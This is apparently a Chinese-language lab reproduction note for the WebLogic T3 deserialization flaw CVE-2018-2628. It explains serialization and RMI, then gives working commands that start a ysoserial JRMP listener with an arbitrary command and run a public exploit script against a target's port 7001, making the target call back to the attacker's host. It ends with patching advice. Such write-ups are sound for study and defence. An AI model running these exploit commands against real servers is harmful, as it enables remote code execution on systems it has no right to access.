WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)
漏洞概述:
- 在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
漏洞版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
基本原理:
- 序列化:简单来说把对象转换为字节流过程(通过ObjectOutputStream类的writeObject)
- 反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)
- RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法。
- JRMP:java远程消息交换协议JRMP(Java Remote Messaging Protocol)
打个比喻就是相当于你在网上买个玩具房子,他不可能直接快递给你邮个房子,先把房子拆开邮走(序列化),然后收到时在拼装成一个房子(反序列化)。在JAVA中,对象的序列化和反序列化被广泛的应用到RMI(远程方法调用)及网络传输中。
漏洞搭建:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
漏洞复现:
- 快速检测
利用nmap --script=weblogic-t3-infi.nse
- 首先需要启动一个JRMP Server,可以利用ysoserial(下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)
利用ysoserial启动一个JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 "命令"
- 然后利用该exp进行攻击,可见成功上传文件(下载地址:https://www.exploit-db.com/exploits/44553)
python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
e.g.
a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)
最终构造payload:python exploit.py 172.17.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.2.109 1099 JRMPClient
漏洞修复:
- 关闭T3服务,或控制T3服务的访问权限(临时)。
- 打官方补丁。
ps:余生很长,请多指教。